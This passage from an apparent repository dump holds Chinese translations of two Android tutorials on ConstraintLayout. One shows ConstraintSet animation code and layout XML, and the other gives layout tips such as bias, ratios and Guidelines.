public void onApplyClick(View view) {\n        TransitionManager.beginDelayedTransition(constraintLayout);\n\n        applyConstraintSet.setMargin(R.id.button3,ConstraintSet.START,0);\n        applyConstraintSet.setMargin(R.id.button3,ConstraintSet.END,0);\n        applyConstraintSet.setMargin(R.id.button3,ConstraintSet.TOP,0);\n        applyConstraintSet.setMargin(R.id.button3,ConstraintSet.BOTTOM,0);\n\n        applyConstraintSet.centerHorizontally(R.id.button3, R.id.main);\n        applyConstraintSet.centerVertically(R.id.button3, R.id.main);\n\n        applyConstraintSet.applyTo(constraintLayout);\n    }\n\n\n\n我在这里先为四个边缘设定为 0 像素的外边距，然后我使用 centerHorizontal + centerVertical 方法。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-11-58-30.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-11-58-30.gif)\n\n\n\n\n**新需求:**\n\n\n用户语言：\n当用户点击应用按钮的时候，我想要让所有的按钮的宽度都变化成 600 像素。\n\n\n开发者语言：\n当用户点击应用按钮的时候，我想要通过在 constraint layout 里使用 Java 代码让所有按钮的宽度尺寸都变成 600 像素。你能帮我一下么？\n\n\n\n**解决方案:**\n\n        public void onApplyClick(View view) {\n            TransitionManager.beginDelayedTransition(constraintLayout);\n\n            applyConstraintSet.constrainWidth(R.id.button1,600);\n            applyConstraintSet.constrainWidth(R.id.button2,600);\n            applyConstraintSet.constrainWidth(R.id.button3,600);\n\n            // applyConstraintSet.constrainHeight(R.id.button1,100);\n            // applyConstraintSet.constrainHeight(R.id.button2,100);\n            // applyConstraintSet.constrainHeight(R.id.button3,100);\n\n            applyConstraintSet.applyTo(constraintLayout);\n\n        }\n\n\n上面展示的是我使用的 constraintWidth 方法。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-17-31-53.gif)\n](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-17-31-53.gif)\n\n**新需求:**\n\n\n\n用户语言：\n\n当用户点击应用按钮的时候，我想要让按钮1的宽度和高度充满整个屏幕并且让其他的视图隐藏。\n\n\n\n\n开发者语言：\n当用户点击应用按钮的时候，我想要通过在 constraint layout 里使用 Java 代码让按钮1的宽度和高度都 match_parent， 并且让其他的视图 gone，你能帮我一下么？\n\n**解决方案:**\n\n    public void onApplyClick(View view) {\n        TransitionManager.beginDelayedTransition(constraintLayout);\n\n        applyConstraintSet.setVisibility(R.id.button2,ConstraintSet.GONE);\n        applyConstraintSet.setVisibility(R.id.button3,ConstraintSet.GONE);\n        applyConstraintSet.clear(R.id.button1);\n        applyConstraintSet.connect(R.id.button1,ConstraintSet.LEFT,R.id.main,ConstraintSet.LEFT,0);\n        applyConstraintSet.connect(R.id.button1,ConstraintSet.RIGHT,R.id.main,ConstraintSet.RIGHT,0);\n        applyConstraintSet.connect(R.id.button1,ConstraintSet.TOP,R.id.main,ConstraintSet.TOP,0);\n        applyConstraintSet.connect(R.id.button1,ConstraintSet.BOTTOM,R.id.main,ConstraintSet.BOTTOM,0);\n        applyConstraintSet.applyTo(constraintLayout);\n    }\n\n\n\n我在上面用了一些新方法，在这里我来解释一下：\n\nsetVisibility:我觉得这个很简单。\n\nclear: 我想要把 view 上的所有 constraint 都清除掉。\n\nconnect: 我想要 view 上添加 constraint。这个方法需要5个参数。\n\n第一个:我想要在上面添加 constraint 的 view。\n\n第二个：我准备添加的 constraint 的边缘状态。\n\n第三个：constraint 的第一个 view，它被用来作为我的锚点。\n\n第四个：我的锚点 view 的边缘状态。\n\n第五：外边距。\n\n\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-12-11-25.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-12-11-25.gif)\n\n\n是时候开始进一步的操作了。在[教程2](https://github.com/xitu/gold-miner/blob/master/TODO/constraint-layout-concepts-hell-tips-tricks-part-2.md)里我们已经了解到了 Chaining 的概念了。我将向你们展示如何使用 Java 语言来实现它。 \n\n**新需求:**\n\n\n\n用户语言：\n当用户点击应用按钮的时候，我想要让所有的按钮都与屏幕的顶端对齐并且水平居中。\n\n\n开发者语言：\n当用户点击应用按钮的时候，我想要通过在 constraint layout 里使用 Java 代码来实现这三个按钮的 packed chaining 逻辑。你能帮我一下么？\n\n**解决方案:**\n\n\n\n\n我接下来要讲述的东西会有点超前，但我会把它当成没什么了不起的东西来解释。所以各位准备好。\n\n    public void onApplyClick(View view) {\n        TransitionManager.beginDelayedTransition(constraintLayout);\n\n        applyConstraintSet.clear(R.id.button1);\n        applyConstraintSet.clear(R.id.button2);\n        applyConstraintSet.clear(R.id.button3);\n\n\n\n首先我把三个按钮上的所有 constraint 都清除了。这是我个人的偏好，你可以只去掉按钮的外边距或者尺寸，其他方式也可以，但是我觉得这是最容易实现的方案。现在我们的按钮没有任何的 constraint。（0 width, 0 height, 0 margin …）。\n\n    // button 1 left and top align to parent\n    applyConstraintSet.connect(R.id.button1, ConstraintSet.LEFT, R.id.main, ConstraintSet.LEFT, 0);\n\n\n如上面展示的，现在我给按钮 1 添加上左边的 constraint。\n\n    // button 3 right and top align to parent\n    applyConstraintSet.connect(R.id.button3, ConstraintSet.RIGHT, R.id.main, ConstraintSet.RIGHT, 0);\n\n\n如上面展示的，现在我给按钮 3 添加上右边的 constraint。\n\n\n现在在你的脑海里勾勒出这些代码形成的草图，我们的按钮 1 在父控件的左上角，按钮 2 也一样，不过相对靠右。\n\n    // bi-direction or Chaining between button 1 and button 2\n    applyConstraintSet.connect(R.id.button2, ConstraintSet.LEFT, R.id.button1, ConstraintSet.RIGHT, 0);\n    applyConstraintSet.connect(R.id.button1, ConstraintSet.RIGHT, R.id.button2, ConstraintSet.LEFT, 0);\n\n\n如上所示，我在这里创建了按钮 1 和按钮 2 的双向关系。\n\n    // bi-direction or Chaining between button 2 and button 3\n    applyConstraintSet.connect(R.id.button2, ConstraintSet.RIGHT, R.id.button3, ConstraintSet.LEFT, 0);\n    applyConstraintSet.connect(R.id.button3, ConstraintSet.LEFT, R.id.button2, ConstraintSet.RIGHT, 0);\n\n\n如上所示，我在这里创建了按钮 2 和按钮 3 的双向关系。\n\n\n    applyConstraintSet.createHorizontalChain(R.id.button1,\n            R.id.button3,\n            new int[]{R.id.button1, R.id.button3},\n            null, ConstraintWidget.CHAIN_PACKED);\n\n\n\n\n这个方法为我们创建了一个水平的 chain。这个方法需要5个参数。\n\n第一个：头部 view 的 id。\n第二个：chain 里尾部 view 的 id。\n第三个：int 数组，把头部和尾部 view 的 id 放入 int 数组。\n第四个：float 数组，如果我们需要权重的 chaining 的话它可以给我们权重，否则的话为空。\n第五个：chaining 的风格，类似 CHAIN_SPREAD。\n\n\n现在如果我运行一下，我会得到下面的结果。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-14-27-28.gif)\n](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-14-27-28.gif)\n\n这不是我们需要的动作。如果你们还记得我清除了这些按钮的 constraint，这就是为什么这里的宽度和高度都为 0 的原因.如下所示，我需要给它们的宽度和高度赋值。\n\n    applyConstraintSet.constrainWidth(R.id.button1,ConstraintSet.WRAP_CONTENT);\n    applyConstraintSet.constrainWidth(R.id.button2,ConstraintSet.WRAP_CONTENT);\n    applyConstraintSet.constrainWidth(R.id.button3,ConstraintSet.WRAP_CONTENT);\n\n    applyConstraintSet.constrainHeight(R.id.button1,ConstraintSet.WRAP_CONTENT);\n    applyConstraintSet.constrainHeight(R.id.button2,ConstraintSet.WRAP_CONTENT);\n    applyConstraintSet.constrainHeight(R.id.button3,ConstraintSet.WRAP_CONTENT);\n\n\n现在再运行一次。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-14-31-53.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-14-31-53.gif)\n\n\n效果不错，是时候向你们展示整段代码了。\n\n    public void onApplyClick(View view) {\n        TransitionManager.beginDelayedTransition(constraintLayout);\n\n        applyConstraintSet.clear(R.id.button1);\n        applyConstraintSet.clear(R.id.button2);\n        applyConstraintSet.clear(R.id.button3);\n\n        // button 1 left and top align to parent\n        applyConstraintSet.connect(R.id.button1, ConstraintSet.LEFT, R.id.main, ConstraintSet.LEFT, 0);\n\n        // button 3 right and top align to parent\n        applyConstraintSet.connect(R.id.button3, ConstraintSet.RIGHT, R.id.main, ConstraintSet.RIGHT, 0);\n\n        // bi-direction or Chaining between button 1 and button 2\n        applyConstraintSet.connect(R.id.button2, ConstraintSet.LEFT, R.id.button1, ConstraintSet.RIGHT, 0);\n        applyConstraintSet.connect(R.id.button1, ConstraintSet.RIGHT, R.id.button2, ConstraintSet.LEFT, 0);\n\n        // bi-direction or Chaining between button 2 and button 3\n        applyConstraintSet.connect(R.id.button2, ConstraintSet.RIGHT, R.id.button3, ConstraintSet.LEFT, 0);\n        applyConstraintSet.connect(R.id.button3, ConstraintSet.LEFT, R.id.button2, ConstraintSet.RIGHT, 0);\n\n        applyConstraintSet.createHorizontalChain(R.id.button1,\n                R.id.button3,\n                new int[]{R.id.button1, R.id.button3}, null, ConstraintWidget.CHAIN_PACKED);\n\n        applyConstraintSet.constrainWidth(R.id.button1,ConstraintSet.WRAP_CONTENT);\n        applyConstraintSet.constrainWidth(R.id.button2,ConstraintSet.WRAP_CONTENT);\n        applyConstraintSet.constrainWidth(R.id.button3,ConstraintSet.WRAP_CONTENT);\n\n        applyConstraintSet.constrainHeight(R.id.button1,ConstraintSet.WRAP_CONTENT);\n        applyConstraintSet.constrainHeight(R.id.button2,ConstraintSet.WRAP_CONTENT);\n        applyConstraintSet.constrainHeight(R.id.button3,ConstraintSet.WRAP_CONTENT);\n\n        applyConstraintSet.applyTo(constraintLayout);\n    }\n\n\n现在改变 chain 风格。\n\n    applyConstraintSet.createHorizontalChain(R.id.button1,\n            R.id.button3,\n            new int[]{R.id.button1, R.id.button3}, null, ConstraintWidget.CHAIN_SPREAD);\n\n\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-15-01-18.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-15-01-18.gif)\n\n\n现在改变 chain 风格。\n\n    applyConstraintSet.createHorizontalChain(R.id.button1,\n            R.id.button3,\n            new int[]{R.id.button1, R.id.button3}, null, ConstraintWidget.CHAIN_SPREAD_INSIDE);\n\n\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-15-03-47.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-15-03-47.gif)\n\n现在我将向你们展示带有偏差值的 CHAIN_PACKED。\n\n    applyConstraintSet.createHorizontalChain(R.id.button1,\n            R.id.button3,\n            new int[]{R.id.button1, R.id.button3}, null, ConstraintWidget.CHAIN_PACKED);\n\n    applyConstraintSet.setHorizontalBias(R.id.button1, .1f);\n\n\n如上所示，我使用了一个新方法 setHorizontalBias()，在这个方法里我填入了我们 chain 组的头部和 float 类型的偏差值。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-15-07-46.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-15-07-46.gif)\n\n**奖励**:\n\n\n我将向你们展示 ConstraintSet 的另一个用法，这个用法在 Android API 文档里有提及到。所以如下所示，首先我们先在同一个 ConstraintLayout 里应用两个不同的 ConstraintSet。\n\n    public class MainActivity extends AppCompatActivity {\n\n        private ConstraintLayout constraintLayout;\n        private ConstraintSet constraintSet1 = new ConstraintSet();\n        private ConstraintSet constraintSet2 = new ConstraintSet();\n\n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n            super.onCreate(savedInstanceState);\n            setContentView(R.layout.activity_main);\n            constraintLayout = (ConstraintLayout) findViewById(R.id.main);\n            constraintSet1.clone(constraintLayout);\n            constraintSet2.clone(this, R.layout.activity_main2);\n        }\n\n        public void onApplyClick(View view) {\n            TransitionManager.beginDelayedTransition(constraintLayout);\n            constraintSet2.applyTo(constraintLayout);\n        }\n\n        public void onResetClick(View view) {\n            TransitionManager.beginDelayedTransition(constraintLayout);\n            constraintSet1.applyTo(constraintLayout);\n        }\n    }\n\n\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-15-35-55.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-21-2017-15-35-55.gif)\n\n**activity_main 布局的 XML 文件:**\n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n    <android.support.constraint.ConstraintLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n        xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n        xmlns:tools=\"http://schemas.android.com/tools\"\n        android:id=\"@+id/main\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        tools:context=\"com.constraintanimation.MainActivity\">\n\n\n        <Button\n            android:onClick=\"onApplyClick\"\n            app:layout_constraintHorizontal_weight=\"1\"\n            android:id=\"@+id/applyButton\"\n            android:layout_width=\"0dp\"\n            android:layout_height=\"wrap_content\"\n            android:text=\"Apply\"\n            android:layout_marginLeft=\"16dp\"\n            app:layout_constraintLeft_toLeftOf=\"parent\"\n            android:layout_marginStart=\"16dp\"\n            app:layout_constraintBottom_toBottomOf=\"parent\"\n            android:layout_marginBottom=\"16dp\"\n            app:layout_constraintRight_toLeftOf=\"@+id/resetButton\"\n            android:layout_marginRight=\"8dp\"\n            android:layout_marginEnd=\"8dp\" />\n\n        <Button\n            android:onClick=\"onResetClick\"\n            app:layout_constraintHorizontal_weight=\"1\"\n            android:id=\"@+id/resetButton\"\n            android:layout_width=\"0dp\"\n            android:layout_height=\"wrap_content\"\n            android:text=\"Reset\"\n            app:layout_constraintBottom_toBottomOf=\"parent\"\n            android:layout_marginBottom=\"16dp\"\n            app:layout_constraintLeft_toRightOf=\"@+id/applyButton\"\n            android:layout_marginLeft=\"8dp\"\n            android:layout_marginRight=\"8dp\"\n            app:layout_constraintRight_toRightOf=\"parent\"\n            android:layout_marginStart=\"8dp\"\n            android:layout_marginEnd=\"8dp\"\n\n            />\n\n        <ImageView\n            android:id=\"@+id/imageView\"\n            android:layout_width=\"92dp\"\n            android:layout_height=\"92dp\"\n            app:srcCompat=\"@mipmap/ic_launcher\"\n            android:layout_marginTop=\"16dp\"\n            app:layout_constraintTop_toTopOf=\"parent\"\n            android:layout_marginLeft=\"8dp\"\n            app:layout_constraintLeft_toLeftOf=\"parent\"\n            android:layout_marginStart=\"8dp\"\n            android:layout_marginRight=\"8dp\"\n            app:layout_constraintRight_toRightOf=\"parent\"\n            app:layout_constraintHorizontal_bias=\"0.02\"\n            android:layout_marginEnd=\"8dp\" />\n\n        <TextView\n            android:id=\"@+id/textView\"\n            android:layout_width=\"0dp\"\n            android:layout_height=\"wrap_content\"\n            android:text=\"Hello this is a simple demo. Thanks for reading and learning new things.\\nHello this is a simple demo. Thanks for reading and learning new things.\\nHello this is a simple demo. Thanks for reading and learning new things.\\nHello this is a simple demo. Thanks for reading and learning new things.\\nHello this is a simple demo. Thanks for reading and learning new things.\\nHello this is a simple demo. Thanks for reading and learning new things.\\nHello this is a simple demo. Thanks for reading and learning new things.\\nHello this is a simple demo. Thanks for reading and learning new things.\\n\"\n            android:layout_marginRight=\"8dp\"\n            android:lines=\"6\"\n            app:layout_constraintRight_toRightOf=\"parent\"\n            android:layout_marginEnd=\"8dp\"\n            app:layout_constraintLeft_toRightOf=\"@+id/imageView\"\n            android:layout_marginLeft=\"8dp\"\n            android:layout_marginStart=\"8dp\"\n            app:layout_constraintHorizontal_bias=\"0.0\"\n            app:layout_constraintTop_toTopOf=\"parent\"\n            android:layout_marginTop=\"16dp\" />\n\n        <CheckBox\n            android:id=\"@+id/checkBox\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:text=\"CheckBox\"\n            android:layout_marginTop=\"16dp\"\n            app:layout_constraintTop_toTopOf=\"parent\"\n            android:layout_marginLeft=\"16dp\"\n            app:layout_constraintLeft_toLeftOf=\"parent\"\n            android:layout_marginStart=\"16dp\"\n            app:layout_constraintRight_toLeftOf=\"@+id/textView\"\n            android:layout_marginRight=\"8dp\"\n            app:layout_constraintHorizontal_bias=\"1.0\"\n            android:layout_marginEnd=\"8dp\" />\n\n        <Button\n            android:id=\"@+id/button\"\n            android:layout_width=\"0dp\"\n            android:layout_height=\"wrap_content\"\n            android:text=\"Button\"\n            android:layout_marginRight=\"8dp\"\n            app:layout_constraintRight_toRightOf=\"parent\"\n            android:layout_marginEnd=\"8dp\"\n            android:layout_marginLeft=\"8dp\"\n            app:layout_constraintLeft_toLeftOf=\"parent\"\n            android:layout_marginStart=\"8dp\"\n            android:layout_marginTop=\"8dp\"\n            app:layout_constraintTop_toBottomOf=\"@+id/textView\" />\n\n    </android.support.constraint.ConstraintLayout>\n\n**activty_main2 布局的 XML 文件:**\n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n    <android.support.constraint.ConstraintLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n        xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n        xmlns:tools=\"http://schemas.android.com/tools\"\n        android:id=\"@+id/main\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        tools:context=\"com.constraintanimation.MainActivity\">\n\n\n        <Button\n            android:onClick=\"onApplyClick\"\n            app:layout_constraintHorizontal_weight=\"1\"\n            android:id=\"@+id/applyButton\"\n            android:layout_width=\"0dp\"\n            android:layout_height=\"wrap_content\"\n            android:text=\"Apply\"\n            android:layout_marginLeft=\"16dp\"\n            app:layout_constraintLeft_toLeftOf=\"parent\"\n            android:layout_marginStart=\"16dp\"\n            app:layout_constraintBottom_toBottomOf=\"parent\"\n            android:layout_marginBottom=\"16dp\"\n            app:layout_constraintRight_toLeftOf=\"@+id/resetButton\"\n            android:layout_marginRight=\"8dp\"\n            android:layout_marginEnd=\"8dp\" />\n\n        <Button\n            android:onClick=\"onResetClick\"\n            app:layout_constraintHorizontal_weight=\"1\"\n            android:id=\"@+id/resetButton\"\n            android:layout_width=\"0dp\"\n            android:layout_height=\"wrap_content\"\n            android:text=\"Reset\"\n            app:layout_constraintBottom_toBottomOf=\"parent\"\n            android:layout_marginBottom=\"16dp\"\n            app:layout_constraintLeft_toRightOf=\"@+id/applyButton\"\n            android:layout_marginLeft=\"8dp\"\n            android:layout_marginRight=\"8dp\"\n            app:layout_constraintRight_toRightOf=\"parent\"\n            android:layout_marginStart=\"8dp\"\n            android:layout_marginEnd=\"8dp\"\n\n            />\n\n        <ImageView\n            android:id=\"@+id/imageView\"\n            android:layout_width=\"353dp\"\n            android:layout_height=\"157dp\"\n            app:srcCompat=\"@mipmap/ic_launcher\"\n            android:layout_marginTop=\"16dp\"\n            app:layout_constraintTop_toTopOf=\"parent\"\n            android:layout_marginRight=\"8dp\"\n            app:layout_constraintRight_toRightOf=\"parent\"\n            android:layout_marginEnd=\"8dp\"\n            android:layout_marginLeft=\"8dp\"\n            app:layout_constraintLeft_toLeftOf=\"parent\"\n            android:layout_marginStart=\"8dp\" />\n\n        <TextView\n            android:id=\"@+id/textView\"\n            android:layout_width=\"352dp\"\n            android:layout_height=\"108dp\"\n            android:text=\"Hello this is a simple demo. Thanks for reading and learning new things.\\nHello this is a simple demo. Thanks for reading and learning new things.\\nHello this is a simple demo. Thanks for reading and learning new things.\\nHello this is a simple demo. Thanks for reading and learning new things.\\nHello this is a simple demo. Thanks for reading and learning new things.\\nHello this is a simple demo. Thanks for reading and learning new things.\\nHello this is a simple demo. Thanks for reading and learning new things.\\nHello this is a simple demo. Thanks for reading and learning new things.\\n\"\n            android:lines=\"6\"\n            android:layout_marginTop=\"12dp\"\n            app:layout_constraintTop_toBottomOf=\"@+id/imageView\"\n            android:layout_marginRight=\"8dp\"\n            app:layout_constraintRight_toRightOf=\"parent\"\n            android:layout_marginLeft=\"8dp\"\n            app:layout_constraintLeft_toLeftOf=\"parent\"\n            android:layout_marginStart=\"8dp\"\n            android:layout_marginEnd=\"8dp\" />\n\n        <CheckBox\n            android:id=\"@+id/checkBox\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:text=\"CheckBox\"\n            android:layout_marginTop=\"16dp\"\n            app:layout_constraintTop_toTopOf=\"parent\"\n            android:layout_marginRight=\"16dp\"\n            app:layout_constraintRight_toRightOf=\"parent\"\n            android:layout_marginEnd=\"16dp\" />\n\n        <Button\n            android:id=\"@+id/button\"\n            android:layout_width=\"0dp\"\n            android:layout_height=\"0dp\"\n            android:text=\"Button\"\n            android:layout_marginRight=\"16dp\"\n            app:layout_constraintRight_toRightOf=\"parent\"\n            android:layout_marginEnd=\"16dp\"\n            android:layout_marginLeft=\"8dp\"\n            app:layout_constraintLeft_toLeftOf=\"parent\"\n            app:layout_constraintHorizontal_bias=\"0.0\"\n            android:layout_marginStart=\"8dp\"\n            android:layout_marginTop=\"8dp\"\n            app:layout_constraintTop_toBottomOf=\"@+id/textView\"\n            android:layout_marginBottom=\"8dp\"\n            app:layout_constraintBottom_toTopOf=\"@+id/applyButton\" />\n\n    </android.support.constraint.ConstraintLayout>\n\n\n哇哦，我们已经完成了 ConstraitLayout 动画。剩下的最后一个主题是 [ConstraintLayout 可视化[Design]编辑器 （这到底是什么）[第四部分]](https://github.com/xitu/gold-miner/blob/master/TODO/constraint-layout-visual-design-editor-hell.md)\n\n\n好的各位，是时候说再见了，希望你们都有一个很棒的周末。\n"
  },
  {
    "path": "TODO/constraint-layout-concepts-hell-tips-tricks-part-2.md",
    "content": "> * 原文地址：[Constraint Layout Concepts ( What the hell is this ) (Tips and Tricks) Part 2 ](http://www.uwanttolearn.com/android/constraint-layout-concepts-hell-tips-tricks-part-2/)\n* 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Jamweak](https://github.com/jamweak)\n* 校对者：[Jifaxu](https://github.com/jifaxu)，[AngryD](https://github.com/yazhi1992)\n\n# ConstraintLayout ( 这到底是什么 ) (小贴士及小技巧) 第二部分\n\n哇哦，我们又有一整天时间，所以就来学点酷炫的新知识吧。\n\n你们好，希望各位都有所进步。在上周中，我们学习了 ConstraintLayout 的[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/constraint-layout-hell.md)。现在是时候来学习这个神奇布局的剩下内容了。\n\n**动机:**\n学习动机与先前在[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/constraint-layout-hell.md)中讨论的是一样的。 不过这次我不准备解释 ConstraintLayout 的特性，相反，我会分享一些当你们独立实现时可能遇到的问题。最后，我向大家保证，你们将会潜移默化地了解所有（我知道的）概念。\n\n**问题:**\n\n1. [MATCH_PARENT 不起作用](#1)\n\n2. [居中对齐视图 (水平, 垂直, 在父视图中心)](#2)\n\n3. [怎样将视图从中心向左或右移动一些 DP 值](#3)\n\n4. [管理图片视图的比例](#4)\n\n5. [需要两列或多列](#5)\n\n6. [父视图的左边距, 一些是 16dp ，一些是 8dp ](#6)\n\n7. [怎样在 ConstraintLayout 中实现 LinearLayout](#7)\n\n8. [隐藏视图后，布局遭到破坏](#8)\n\n是时候开始了！:)\n\n我们需要下载 2.3 版本的 Android studio。先前版本的可视化编辑器不太完善，有时会在面板上显示错误的信息。所以下载 2.3 测试版本是非常重要的，该版本在我写这篇文章时已经可以获取到了。\n\n<h6 id=\"1\">1. MATCH_PARENT 不起作用:</h6>\n\n当你在 ConstraintLayout 中试图设置长宽为 match_parent 时，如下图所示，将不会起作用（编辑器会自动修正）。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-08-31-31.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-08-31-31.gif)\n\n不要再用 match_parent。记住 match_parent 不是被废弃了，而是从 ConstraintLayout 嵌套的视图中移除掉了。\n\n解决方案:\n\n恰当地在 Constrain Layout 嵌套的视图中使用 **parent** 属性。就像我们在 RelativeLayout 中设置 width=0dp，然后对齐到父布局的左右两边一样，我们需要做同样的操作，如下图所示：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-08-50-40.gif)\n](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-08-50-40.gif)\n\n<h6 id=\"2\">2. 居中对齐视图 (水平, 垂直, 在父视图中心):</h6>\n\n我们需要在父布局的中心放置一个按钮，能通过下图的操作实现：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-09-02-29.gif)\n](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-09-02-29.gif)\n\n现在我坚信，你能轻易地自己实现水平和垂直居中了。:)\n\n<h6 id=\"3\">3. 怎样将视图从中心向左或右移动一些 DP 值:</h6>\n\n大部分设计师都给我们提过奇怪的需求，比如有人想要一段文字不是 100% 居中的，而是几乎从中心开始的。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-9.15.48-AM-181x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-9.15.48-AM.png)\n\n解决方案:\n\n首先, 抱歉了设计师😛。 在 ConstraintLayout 中实现起来非常容易：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-09-21-32.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-09-21-32.gif)\n\n同样地，你可以使用 app:layout_constraintVertical_bias=”.1″.  记住取值区间是 0,0.1 .. 1。\n\n<h6 id=\"4\">4. 管理图片视图的比例:</h6>\n\n很多时候我们的 ImageView 都有特定的比例，比如 4:3，因此我们能用下图的方式实现：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-09-39-48.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-09-39-48.gif)\n\n哈哈！我知道这很简单，但还有另外一个问题。比如我有一个宽高尺寸都是 match_constrained 类型的 TextView，但是我希望整个 textView 的形状适应设备大小为方型。一个关键点是，我们需要按如下方式设置宽高属性来约束为方型：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-09-56-50.gif)\n](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-14-2017-09-56-50.gif)\n\n现在你可以随机地尝试更多设置值了。\n\n<h6 id=\"5\">5. 需要两列或多列:</h6>\n\n现在我们的设计师又要求像是表格布局的样式，像是下面这样的两列：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-10.17.19-AM-181x300.png)\n](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-10.17.19-AM.png)\n\n解决方案：\n\n实现起来非常简单。我们只需在 ConstraintLayout 中添加一个叫做 Guidelines 即可。这非常酷！你能马上搞定。 你可以将这些线条主要用作分隔 UI 的辅助工具。如果你说你掌握了 Guidelines 的话，你必须知道下面三个重要的属性：\n\n**orientation**: 水平, 垂直 // 分隔屏幕的方式\n\n**layout_constraintGuide_percent**: 0, 0.1 ..  1 // 屏幕的全部大小表示为 1.0 \n\n**layout_constraintGuide_begin**: 200dp  // 通过 dp 值来表示放置 Guidelines 的位置\n\n最终，Guidelines 永远不会绘制到 UI 界面中。\n首先，我先来实现一个将屏幕分隔为两部分的 Guidelines ，以便我能看到两列内容。\n\n    <android.support.constraint.Guideline\n        android:id=\"@+id/guideline\"\n        android:layout_width=\"0dp\"\n        android:layout_height=\"0dp\"\n        android:orientation=\"vertical\"\n        app:layout_constraintGuide_percent=\".5\" />\n\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-10.32.35-AM-209x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-10.32.35-AM.png)\n\n首先添加第一个按钮：\n\n    <Button\n    android:id=\"@+id/button\"\n    android:layout_width=\"0dp\"\n    android:layout_height=\"wrap_content\"\n    android:text=\"Button\"\n    app:layout_constraintLeft_toLeftOf=\"parent\"\n    app:layout_constraintRight_toLeftOf=\"@+id/guideline\"\n    app:layout_constraintTop_toTopOf=\"parent\" />\n\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-10.35.24-AM-211x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-10.35.24-AM.png)\n\n添加第二个按钮：\n\n    <Button\n        android:id=\"@+id/button2\"\n        android:layout_width=\"0dp\"\n        android:layout_height=\"wrap_content\"\n        android:text=\"Button\"\n        app:layout_constraintLeft_toLeftOf=\"parent\"\n       app:layout_constraintRight_toLeftOf=\"@+id/guideline\"\n        app:layout_constraintTop_toBottomOf=\"@+id/button\" />\n\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-10.38.04-AM-211x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-14-at-10.38.04-AM.png)\n\n接下来在第二列中添加 Textview：\n\n    <TextView\n        android:id=\"@+id/textView2\"\n        android:layout_width=\"0dp\"\n        android:layout_height=\"0dp\"\n        android:background=\"@color/colorAccent\"\n        android:text=\"TextView\"\n        app:layout_constraintBottom_toBottomOf=\"parent\"\n        app:layout_constraintLeft_toRightOf=\"@+id/guideline\"\n        app:layout_constraintRight_toRightOf=\"parent\"\n        app:layout_constraintTop_toTopOf=\"parent\" 